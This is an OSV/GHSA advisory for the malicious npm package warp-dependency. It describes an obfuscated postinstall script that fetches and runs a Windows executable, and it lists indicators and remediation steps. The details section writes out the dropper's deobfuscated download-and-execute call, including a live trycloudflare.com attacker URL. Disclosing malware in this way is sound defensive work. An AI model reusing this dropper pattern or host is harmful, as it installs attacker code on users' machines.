MAL-2026-5724

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/warp-dependency/MAL-2026-5724.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5724
Aliases
  • GHSA-gxc9-xrxm-w788
Published
2026-06-13T02:10:04Z
Modified
2026-07-08T21:46:53Z
Summary
Malicious code in warp-dependency (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (493b3ed30d94fb482e4b9c7cf3d328ba9b307f91965783f0024ec7dca1fedb96)

warp-dependency@1.0.0 declares postinstall: node index.js in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (_0x345c/_0x1de1) that hides the download URL, target filename, and the require targets (fs-extra, node-fetch, child_process). When deobfuscated, the top-level code performs downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe') followed by child_process.exec('bss.exe',...), writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every npm install warp-dependency silently runs attacker-controlled native code on the installer's machine.

Source: ghsa-malware (24f450148fb44b006f3d15e2ea7aefb5a50e14ef1a40da52176e5ffd4897c088)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006271",
            "import_time": "2026-06-13T02:23:23.07557225Z",
            "modified_time": "2026-06-13T02:10:04Z",
            "sha256": "493b3ed30d94fb482e4b9c7cf3d328ba9b307f91965783f0024ec7dca1fedb96",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-006272",
            "import_time": "2026-06-13T02:23:23.150823777Z",
            "modified_time": "2026-06-13T02:10:05Z",
            "sha256": "9f1ff50bf7658e4876b44a7476dbe5889afcf6a6facaf342fdd56a6d0fdbfa3d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "GHSA-gxc9-xrxm-w788",
            "import_time": "2026-07-07T17:01:10.289792034Z",
            "modified_time": "2026-07-07T16:17:37Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "24f450148fb44b006f3d15e2ea7aefb5a50e14ef1a40da52176e5ffd4897c088",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-008593",
            "import_time": "2026-07-08T21:27:49.060694205Z",
            "modified_time": "2026-07-08T20:33:26Z",
            "sha256": "bf86b6fc04e1f78906b7f8e8b79fa9272009180eeab039618224ca876bc1eaee",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / warp-dependency

Package

Name
warp-dependency
View open source insights on deps.dev
Purl
pkg:npm/warp-dependency

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "domains": [
        "recorder-our-betting-chair.trycloudflare.com"
    ],
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "4de80153e8bdba06a16c5a348c606aa3edc55b7fee954de9f1b063807dd00bb7",
            "tlsh": "d14115685fd423ba6b868ed35d2b0487d307cd4738f1c0d1b35068857cd111ee9a6ab6"
        }
    ],
    "ips": [
        "104.16.231.132",
        "104.16.230.132"
    ],
    "package_integrity": [
        {
            "filename": "warp-dependency-1.0.0.tgz",
            "hashes": {
                "sha1": "ce9411dc624ce82eec3fafc23dd65689c072d0b1",
                "sha512_sri": "sha512-MBsl4LQzLx9oJnU2FajYd7oeeoaZ4LapOtCippvT3I9a6e4aUrTZe8PbWH46P/hHiFlqUGSre57NLnxu0W7DNQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/warp-dependency/MAL-2026-5724.json"